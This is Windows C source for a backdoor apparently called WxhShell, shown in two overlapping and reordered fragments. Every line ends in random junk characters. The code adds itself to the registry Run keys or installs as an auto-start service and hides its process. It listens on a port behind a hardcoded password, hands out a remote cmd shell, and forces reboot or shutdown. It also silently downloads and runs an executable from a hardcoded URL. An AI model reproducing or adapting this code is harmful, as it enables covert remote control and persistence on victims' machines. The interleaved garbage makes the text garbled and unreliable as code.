    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N7k<q=r-  
    else { *xXa4HB  
    closesocket(wsh); mV0F ^5  
    ExitThread(0); q05_5  
    } b5_(Fv  
    break; 8 ZD1}58U4  
    } a(s}Ec${Z  
  // 获取shell z-K?Ak B1  
  case 's': { H[ocIw  
    CmdShell(wsh); !Gsr* F{.  
    closesocket(wsh); ~aa`Y0Ws],  
    ExitThread(0); I{AteL  
    break; \Rop~gD  
  } o Hdss;q  
  // 退出 w<-8cvNhiz  
  case 'x': { BL6t>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #~%tdmGuL  
    CloseIt(wsh); )h&s.k  
    break; bvzeU n  
    } h" cLZM:6  
  // 离开 o&)O&bNJ  
  case 'q': { {;]:}nA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Es6b~ #  
    closesocket(wsh); r 11:T3  
    WSACleanup(); M@fUZh  
    exit(1); Dp!3uR ']p  
    break; KB!.N[!v  
        } .j:[R.  
  } /`#sp  
  } =XsdR?C  
nw[DI %Tp  
  // 提示信息 x&7% U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LS@[O])$'  
} f~-81ctu  
  } IO~d.Ra  
K <7#;  
  return; EL $"MT}p  
} saQA:W;  
p"f=[awp  
// shell模块句柄 -q\5)nY  
int CmdShell(SOCKET sock) q3Re F_  
{ p*)RP2  
STARTUPINFO si; uhvmh  
ZeroMemory(&si,sizeof(si)); N r5 aU6]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eYBo*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rXXIpQRi$S  
PROCESS_INFORMATION ProcessInfo; [,)yc/{*  
char cmdline[]="cmd"; De,4r(5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z<6xQTx  
  return 0; Vd^_4uqnV  
} 5f2ah4 g  
t_5b  
// 自身启动模式 cy8+@77  
int StartFromService(void) B4 5B`Ay  
{ yHkZInn  
typedef struct &n+3^JNl  
{  uZ][#[u  
  DWORD ExitStatus; }yCJ#}  
  DWORD PebBaseAddress; =SPuOy8  
  DWORD AffinityMask; w_|R.T\7  
  DWORD BasePriority; 2P`QS@v0a=  
  ULONG UniqueProcessId; =\.Oc+p4  
  ULONG InheritedFromUniqueProcessId; 'jWd7w~(  
}   PROCESS_BASIC_INFORMATION; c0jdZ#H  
[b-27\b  
PROCNTQSIP NtQueryInformationProcess; n~N>c*p  
e_s9E{(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j|gv0SI_ w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TtEc~m  
D(xgadr  
  HANDLE             hProcess; , "w`,c>!  
  PROCESS_BASIC_INFORMATION pbi; Vzf{gr?  
O~F/{: U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R>H*MvN  
  if(NULL == hInst ) return 0; '0x`Oh&PK  
&P{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z!27#gbL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Gs%IZo_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1><\3+8  
]z`Y'wSxd  
  if (!NtQueryInformationProcess) return 0; xMJF1O?3  
+cv7]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;Vc@]6Ck  
  if(!hProcess) return 0; 6J0HaL  
Icf 4OAx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #+Z3!VS  
2xRb$QF  
  CloseHandle(hProcess); uV.3g 1 m  
QA7SQ cd,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eA9U|&o  
if(hProcess==NULL) return 0; <Ur(< WTV  
P lJl#-BO  
HMODULE hMod; fo~8W`H&  
char procName[255]; <e"O`*ZJ  
unsigned long cbNeeded; 'SF+P)Kmz  
|eL&hwqzG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FSv')`}  
a6=mE?JTB  
  CloseHandle(hProcess); Vr/UbgucJ  
/=Bz[ O  
if(strstr(procName,"services")) return 1; // 以服务启动 <y5V],-U  
X.<_TBos|  
  return 0; // 注册表启动 b2c% 0C  
} cAJKFu X"  
L;30& a  
// 主模块 I$0JAy  
int StartWxhshell(LPSTR lpCmdLine) 7onMKMktM%  
{ Xm`s=5%  
  SOCKET wsl; -a(f-  
BOOL val=TRUE; =1t#$JG  
  int port=0; m)9N9Ii#)  
  struct sockaddr_in door; <K!5N&vh  
F4X/ )$Dk  
  if(wscfg.ws_autoins) Install(); 'TpW-r:  
Q(h,P+  
port=atoi(lpCmdLine); F^b C!;~x  
v<bq1QG  
if(port<=0) port=wscfg.ws_port; en>d  T  
[^t"Hf  
  WSADATA data; ^57[&{MuBF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hH:7  
@<Au|l`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ls#pe  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \W;~[-"#  
  door.sin_family = AF_INET; \V`O-wcJ]S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K0 .f4 o  
  door.sin_port = htons(port); LB%_FT5  
KY/}jJW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w~M5)b  
closesocket(wsl); KTxdZt  
return 1; 2{c ;ELq  
} %~P]x7%|  
,pir,Eozg  
  if(listen(wsl,2) == INVALID_SOCKET) { .E!7}O6  
closesocket(wsl); )a,-Hc:Vz  
return 1; '"QC^Joz  
} [^ck;4q  
  Wxhshell(wsl); Malt 7M  
  WSACleanup(); \lHi=}0  
=" K;3a`GI  
return 0; 5P{dey!  
K !8+~[  
} [bkMl+:/HG  
@eMDRbgq;[  
// 以NT服务方式启动 M xj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AoyU1MR(  
{ ! e6;@*  
DWORD   status = 0; 5:9Ay ?  
  DWORD   specificError = 0xfffffff; VpMpZ9oM<  
xtf]U:c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uxk&5RY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *2crhI*@>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >JS\H6  
  serviceStatus.dwWin32ExitCode     = 0; {y<[1Pms  
  serviceStatus.dwServiceSpecificExitCode = 0; L5%~H?K(  
  serviceStatus.dwCheckPoint       = 0; >`= '~y8  
  serviceStatus.dwWaitHint       = 0; FOpOS?Cr'  
w<j6ln+nM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;+K:^*oJ  
  if (hServiceStatusHandle==0) return; kac@yQD  
6}R^L(^M  
status = GetLastError(); vrn I Eur  
  if (status!=NO_ERROR) TveCy&  
{ H? N!F7s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "-XL Y_  
    serviceStatus.dwCheckPoint       = 0; 0*V RFd4  
    serviceStatus.dwWaitHint       = 0; C.@R#a'  
    serviceStatus.dwWin32ExitCode     = status; z;1tJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; $=iz&{9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UV)[a%/SB&  
    return; #0`2wuo {  
  } 6k"Wy3/  
xXH%7%W'f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C]*9:lK  
  serviceStatus.dwCheckPoint       = 0; e.G&hJ r  
  serviceStatus.dwWaitHint       = 0; sr x`" :  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wM(!9Ws3  
} ^mFuZ~g;?  
NAV}q<@v  
// 处理NT服务事件,比如:启动、停止 Svn|vH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J/w?Fa<  
{ a}#[mw@m=  
switch(fdwControl)  <VB  
{ 'mpY2|]\$  
case SERVICE_CONTROL_STOP: h+zJ"\  
  serviceStatus.dwWin32ExitCode = 0; s`Z(f:/6*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t-dN:1  
  serviceStatus.dwCheckPoint   = 0; JXBW0|8b  
  serviceStatus.dwWaitHint     = 0; Q`g0g)3w  
  { GB\.msls  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,!kqEIp%  
  } |U1X~\""  
  return; *kgbcUf8  
case SERVICE_CONTROL_PAUSE: NWwfNb>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 65N;PH59D  
  break; bjPI:j*XU  
case SERVICE_CONTROL_CONTINUE: - ,q&Zm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e+bpbyV_#  
  break; Z i$a6  
case SERVICE_CONTROL_INTERROGATE: *Au4q<   
  break; ;M8N%  
}; vuuID24:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ts:dnGR5  
} 56u'XMB?  
Y[$[0  
// 标准应用程序主函数 RmO-".$yt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |^Try2@  
{ `>rdn*B  
9+@_ZI-  
// 获取操作系统版本 u%5B_<90V  
OsIsNt=GetOsVer(); T#J]%IDd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "KOLRJ@  
R[wy{4<y  
  // 从命令行安装 EU ThH.  
  if(strpbrk(lpCmdLine,"iI")) Install(); =w".B[r  
~Ht[kO  
  // 下载执行文件 s ZkQJ->  
if(wscfg.ws_downexe) { Cv{rd##Y8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g Gg8O? Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); %&Z!-k(  
} !rb)Y;WQt  
U?>P6p  
if(!OsIsNt) { !-x^b.${B  
// 如果时win9x,隐藏进程并且设置为注册表启动 VyCBJK  
HideProc(); .zlUN0oe  
StartWxhshell(lpCmdLine); ; z:}OD  
} h_?D%b~5  
else h\C  
  if(StartFromService()) 9g"a`a?c  
  // 以服务方式启动 \PU|<Ru.  
  StartServiceCtrlDispatcher(DispatchTable); V5K`TC^  
else ?OYu BZF  
  // 普通方式启动 PAH; +  
  StartWxhshell(lpCmdLine); 8iK>bp  
g[-'0d\1  
return 0; fbNVmjb$)  
} 93)&  
$tj[ *  
wi:]oo#  
RFDwL~-p  
=========================================== ;. !AX|v  
?&)<h_R4p  
;*wZgl  
nXb;&n%  
t=iy40_T  
.cQwj L  
" kxWf1hIz0  
%l,p />r  
#include <stdio.h> O9=vz%  
#include <string.h> #p*{p)]HiA  
#include <windows.h> p[hA?dXn  
#include <winsock2.h> n8A*Y3~R  
#include <winsvc.h> +_06{7@h  
#include <urlmon.h> KSqWq:W+  
pHni"i T  
#pragma comment (lib, "Ws2_32.lib") uV52ko,  
#pragma comment (lib, "urlmon.lib") h?bm1e5kE  
e}(ws~.  
#define MAX_USER   100 // 最大客户端连接数 %1@+pf/  
#define BUF_SOCK   200 // sock buffer GasIOPzK  
#define KEY_BUFF   255 // 输入 buffer d;:+Xd`  
b0tr)>d  
#define REBOOT     0   // 重启 h/V0}|b  
#define SHUTDOWN   1   // 关机 ~ ${. sD\  
KxGK`'E'r  
#define DEF_PORT   5000 // 监听端口 n_)d4d zl  
 -"\z|OQ  
#define REG_LEN     16   // 注册表键长度 bf'@sh%W  
#define SVC_LEN     80   // NT服务名长度 9FX'Uws  
4ZQX YwfC|  
// 从dll定义API /tJJ2 =%l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ca*^U-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #J, `a.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QlSZr[^v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9W 5vp:G  
E{_p&FF  
// wxhshell配置信息 G7M:LcX  
struct WSCFG { Hl?\P6   
  int ws_port;         // 监听端口 _E:]qv  
  char ws_passstr[REG_LEN]; // 口令 .AWRe1?  
  int ws_autoins;       // 安装标记, 1=yes 0=no v\c.xtjI5x  
  char ws_regname[REG_LEN]; // 注册表键名 r_-iOxt~5  
  char ws_svcname[REG_LEN]; // 服务名 xdXt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,l#V eC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c+_F nA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g Uy >I(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @PU%BKe  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,N< xyx.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xx#; )]WT  
)`,3/i9C$  
}; X[(u]h`  
gK9@-e  
// default Wxhshell configuration jQj`GnN|  
struct WSCFG wscfg={DEF_PORT, ds4ERe /  
    "xuhuanlingzhe", iU~oPp[e  
    1, D5]T.8kX(7  
    "Wxhshell", BQ)zm  
    "Wxhshell", RnIL>Akp  
            "WxhShell Service", n>+M4Zb  
    "Wrsky Windows CmdShell Service", @L=xY[&{  
    "Please Input Your Password: ", _Sosw|A  
  1, ]p `#KVW  
  "http://www.wrsky.com/wxhshell.exe", =eDVgOZ)  
  "Wxhshell.exe" /V2Ih  
    }; mG1=8{o^  
bEMD2ABm  
// 消息定义模块 mPi4.p)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ES(b#BlrP/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bs kG!w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -nV]%vJ$R}  
char *msg_ws_ext="\n\rExit."; :&/'rMi<T  
char *msg_ws_end="\n\rQuit."; 3*/y<Z'H  
char *msg_ws_boot="\n\rReboot..."; w=rh@S]  
char *msg_ws_poff="\n\rShutdown..."; =CFO]9  
char *msg_ws_down="\n\rSave to "; eXc`"T,C.  
<omSK- T-  
char *msg_ws_err="\n\rErr!"; qYl%v  
char *msg_ws_ok="\n\rOK!"; 1Vp['&  
';^VdR]fk  
char ExeFile[MAX_PATH]; GghZ".O  
int nUser = 0; v<ASkkh>  
HANDLE handles[MAX_USER]; DKPX_::  
int OsIsNt; O< v0{z09*  
[as\>@o  
SERVICE_STATUS       serviceStatus; ]KA|};>ow  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^$FHI_  
AcwLs%'sx  
// 函数声明 f2`[skNj  
int Install(void); dli?/U@hO  
int Uninstall(void); :Z- = 1b~  
int DownloadFile(char *sURL, SOCKET wsh); uv%T0JA/  
int Boot(int flag); 7s4G|N[wR\  
void HideProc(void); ?rKewdGY  
int GetOsVer(void); ,j:`yB]4,  
int Wxhshell(SOCKET wsl); ==RYf*d  
void TalkWithClient(void *cs); ~dkS-6q~Q  
int CmdShell(SOCKET sock); Z]@my,+Z;  
int StartFromService(void); ey_3ah3x  
int StartWxhshell(LPSTR lpCmdLine); ,ZHIXylZ  
7YV}F9h4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rUc2'Ct  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (OLjE]9;  
J2f}{!b+I  
// 数据结构和表定义 sy.FMy+  
SERVICE_TABLE_ENTRY DispatchTable[] = etMQy6E\  
{ 'P0:1">  
{wscfg.ws_svcname, NTServiceMain}, `WboM\u  
{NULL, NULL} Rp^k D ,*  
}; h#dp_#  
]o$aGrZ  
// 自我安装 }Y[xj{2$O  
int Install(void) IE+{W~y\  
{ V`fp%7W  
  char svExeFile[MAX_PATH]; }xk85*V  
  HKEY key;  _/;vsQB  
  strcpy(svExeFile,ExeFile); =2F;'T\6  
zVKbM3(^  
// 如果是win9x系统,修改注册表设为自启动 $nUhM|It  
if(!OsIsNt) { ZP &q7HK\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \}P3mS"e3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z\Hg@J&#  
  RegCloseKey(key); 3yX^93  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r5M {*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }^ +E S^~  
  RegCloseKey(key); Q bjO*:c4  
  return 0; w &1_k:Z&  
    } !nQ_<  
  } _ I"}3*  
} v*iD)k:|t  
else { K| %.mc s4  
y-6k<RN  
// 如果是NT以上系统,安装为系统服务 *'H0%GM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &b'IYoe  
if (schSCManager!=0) R}_B\#Q  
{  Sg  
  SC_HANDLE schService = CreateService : E[\1  
  ( BCMQ^hP}t  
  schSCManager, BpBMFEiP  
  wscfg.ws_svcname, ~_6~Fi  
  wscfg.ws_svcdisp, cc- liY "  
  SERVICE_ALL_ACCESS, />Kd w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6hp>w{+  
  SERVICE_AUTO_START, O_OgTa  
  SERVICE_ERROR_NORMAL, @`xR1pXQ  
  svExeFile, 6|:K1bI)  
  NULL, #J~   
  NULL, bWWZGl9  
  NULL, $ha,DlN  
  NULL,  vX1 8 ]  
  NULL h*d1G9%Q1  
  ); K G<. s<  
  if (schService!=0) =hFIH\x  
  { uE] HU  
  CloseServiceHandle(schService); 2>TOC BB"  
  CloseServiceHandle(schSCManager); 3N c#6VI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "`g5iUHqUl  
  strcat(svExeFile,wscfg.ws_svcname); =\~<##sRJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1i3;P/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v+d} _rCT  
  RegCloseKey(key); a;bmZh  
  return 0; ZDny=&>#  
    } K93L-K^J  
  } %4'<0  
  CloseServiceHandle(schSCManager); eFKF9m  
} ;$,b w5  
} n=Ze p{^  
_Ns/#Xe/  
return 1; lldNIL6B%  
} M5 \flE2  
C- 5QhD  
// 自我卸载 !=Scpo_  
int Uninstall(void) 2(I S*idq  
{ wtM1gYl^  
  HKEY key; 3qf?n5 "8  
41uiW,  
if(!OsIsNt) { K}|zKTh:?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ES,T[  
  RegDeleteValue(key,wscfg.ws_regname); w3Lr~_j  
  RegCloseKey(key); {,aX|*1Ku~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~(*2 :9*0  
  RegDeleteValue(key,wscfg.ws_regname); EDAtC  
  RegCloseKey(key); Op()`x m  
  return 0; g'cLc5\  
  } %\"<lyD  
} UahsX  
} lT^/ 8Z<g  
else { -.xiq0  
Mc,3j~i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?_ 476A  
if (schSCManager!=0) ci 4K Nv;  
{ ~aPe?{yIUa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0:I[;Q t  
  if (schService!=0) sGFvSW  
  { %>'Zy6C<j  
  if(DeleteService(schService)!=0) { _=Z?5{7S >  
  CloseServiceHandle(schService); `6y=ky.,  
  CloseServiceHandle(schSCManager); S5o,\wT  
  return 0; eWWqK9B.-  
  } ] M`%@ps  
  CloseServiceHandle(schService); ylm # Xa  
  } 3 C{A  
  CloseServiceHandle(schSCManager); PI\C*_.  
} 'VgEf:BS  
} 2OVN9_D%  
TB}6iIe  
return 1; 'uC=xG.*}  
} :%_\!FvS  
Gsn$r(m{K  
// 从指定url下载文件 p<[MU4  
int DownloadFile(char *sURL, SOCKET wsh) ) >te|@}o  
{ j)ME%17  
  HRESULT hr; JR_%v=n~x  
char seps[]= "/"; !mZDukfjQ  
char *token; UpaF>,kM  
char *file; QUeuN?3X\  
char myURL[MAX_PATH]; .af+h<RG4$  
char myFILE[MAX_PATH]; ZyM7)!+kPa  
r=-b@U.fk>  
strcpy(myURL,sURL); Ptm=c6H('  
  token=strtok(myURL,seps); iD*21c<kd  
  while(token!=NULL) .(RZ&*4  
  {  .0YcB  
    file=token; a8$4  
  token=strtok(NULL,seps); |yl,7m/B-G  
  } ''dS {nQs  
=MU(!`  
GetCurrentDirectory(MAX_PATH,myFILE); ]ur?i{S,  
strcat(myFILE, "\\"); {p.^E5&  
strcat(myFILE, file); ]"/SU6#4:  
  send(wsh,myFILE,strlen(myFILE),0); E+ctiVL  
send(wsh,"...",3,0); 8eVy*h2:=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gky+.EP.  
  if(hr==S_OK) _h+7 KK  
return 0; [QFAkEJ--o  
else h0R.c|g[  
return 1; IwXWtVL  
kXV;J$1  
} ~R&rQJJeJ  
:.9Y  
// 系统电源模块 x<h|$$4S  
int Boot(int flag) '_b3m2I.G  
{ R_D&"&   
  HANDLE hToken; C$p012D1  
  TOKEN_PRIVILEGES tkp; L;lu)|b"  
i?ZVVE=r  
  if(OsIsNt) { !2Gua1z!CJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D]o=I1O?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6f2?)jOW^N  
    tkp.PrivilegeCount = 1; et2;{Tb,5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X%mga~fB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %~I&T". iC  
if(flag==REBOOT) { yAAV,?:o[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #+QJ5VI :  
  return 0; uI$n7\G!  
} NN#k^[i1  
else { 4> uNH5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IQ$!y,VJ  
  return 0; c2t`i  
} R#3zGWr~  
  } lz!(OO,g  
  else { 6cd!;Ca  
if(flag==REBOOT) { ftvu69f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?wu@+  
  return 0; @0]w!q  
} 0C;Js\>3]  
else { X-tw)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  )ut$644R  
  return 0; -RJ~Sky[  
} =igTY1|af  
} ^vxx]Hji  
*^%+PQ  
return 1; ]0&X[?  
} O1UArD  
m.rV1#AI  
// win9x进程隐藏模块 i}:hmy'  
void HideProc(void) Q7<Y5+  
{ fP:]s@$  
mKjTJzS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ell14Iki  
  if ( hKernel != NULL ) 'z^'+}iyv  
  { xT+#K5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &c 2Qa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J6[}o4Z  
    FreeLibrary(hKernel); 9% C]s  
  } T ay226  
Auc&dpW  
return; ? V1ik[  
} De>e`./56  
r!1f>F*dt  
// 获取操作系统版本 "f8,9@  
int GetOsVer(void) hP8w3gl_  
{ ^, YTQ.O  
  OSVERSIONINFO winfo; >-\^)z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sBYDo{0 1  
  GetVersionEx(&winfo); ZBR^$?nj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BdMd\1eMw  
  return 1; yH=<KYk  
  else  6/#+#T  
  return 0; '%4fQ%ID}  
} W**[:n+  
*+zFsu4l  
// 客户端句柄模块 =dH=3iCG  
int Wxhshell(SOCKET wsl) SHs [te[  
{ T*mR9 8i  
  SOCKET wsh; m_Pk$Vwx  
  struct sockaddr_in client; VQ,5&-9Y3  
  DWORD myID; qtdkK LT  
)^BZ,e  
  while(nUser<MAX_USER) f,i2U|1pbj  
{ K\KQ(N8F  
  int nSize=sizeof(client); y{&%]Fq <5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k-a1^K3  
  if(wsh==INVALID_SOCKET) return 1; I{[}1W3]W  
 5k@T{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R(pQu! K4  
if(handles[nUser]==0) P>u2""c  
  closesocket(wsh); )5n0P Zi  
else 0<:rp]<,  
  nUser++; P5h*RV>oS  
  } ?mM:oQH+>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X31%T"  
R<gAxO%8  
  return 0; y9?*H?f,  
} Go1xyd:k  
R<_VWPlj  
// 关闭 socket 2q]ZI  
void CloseIt(SOCKET wsh) Zyr| J!VF  
{ J~xm[^0  
closesocket(wsh); W!T[ ^+  
nUser--; s-5 #P,Lw  
ExitThread(0); 9(qoME}>=  
} ftcLP  
q+4dHS)x  
// 客户端请求句柄 5x|$q kI  
void TalkWithClient(void *cs) AA)pV-  
{ "9d Z z/{  
eaNfCXHDN  
  SOCKET wsh=(SOCKET)cs; wEl7mg !  
  char pwd[SVC_LEN]; k>Fw2!mA^  
  char cmd[KEY_BUFF]; *z6A ~U  
char chr[1]; U+#^>}wc  
int i,j; 4"Qb^y  
Yr~wsE/  
  while (nUser < MAX_USER) { L~e0^X?  
;F*^c )  
if(wscfg.ws_passstr) { m>48?%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rXz q :  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [kpQ:'P3  
  //ZeroMemory(pwd,KEY_BUFF); $L( ,lB  
      i=0; _VjaTw8iM  
  while(i<SVC_LEN) { #tpz74O  
@YRy)+  
  // 设置超时 3QKBuo  
  fd_set FdRead; a * CXg.i  
  struct timeval TimeOut; ?u&|'ASo  
  FD_ZERO(&FdRead); k%u fgHl!  
  FD_SET(wsh,&FdRead); S&-F(#CF^  
  TimeOut.tv_sec=8; H"A@Q.'  
  TimeOut.tv_usec=0; l" ~ CAw;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L4T\mP7D7*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |A,.mOT  
Jw}&[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fQ"Vx!  
  pwd=chr[0]; nC !NZ  
  if(chr[0]==0xd || chr[0]==0xa) { h8%QF'C  
  pwd=0; !-n* ]C  
  break; >);M\,1\I  
  } sw}^@0ua=  
  i++; ^i8biOSZu  
    } rN7JJHV  
-K$ugDi  
  // 如果是非法用户,关闭 socket & ^1 b]f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;qy;;usa  
} k<j]b^jbz  
:-U& _%#w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @:B}QxC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y@q9   
oiR9NB&<  
while(1) { (pM& eow}  
THX% z `  
  ZeroMemory(cmd,KEY_BUFF); op2Zf?Bx{+  
-DJ ,<f*$  
      // 自动支持客户端 telnet标准   z79oj\&[  
  j=0; As5l36  
  while(j<KEY_BUFF) { /&G|.Cx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ltU{P|7!E  
  cmd[j]=chr[0]; P.Cn[64a+@  
  if(chr[0]==0xa || chr[0]==0xd) { 6C"zBJcGc  
  cmd[j]=0; y xT}hMa  
  break; RrH{Y0  
  } rx;;|eb,  
  j++; AqQ5L>:Gq  
    } 9bRUN<  
4_CL1g  
  // 下载文件 =aQlT*n%3  
  if(strstr(cmd,"http://")) { DWx;cP8[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p:$v,3:  
  if(DownloadFile(cmd,wsh)) eHKb`K7C.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |"KdW#.x  
  else a(|0 '^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;XyryCo  
  } lTN^c?  
  else { GV ) "[O  
}#M>CNi'PU  
    switch(cmd[0]) { xT* 3QwK  
  ?-o_]!*v0/  
  // 帮助  )h>dD  
  case '?': { ]oz>/\!  
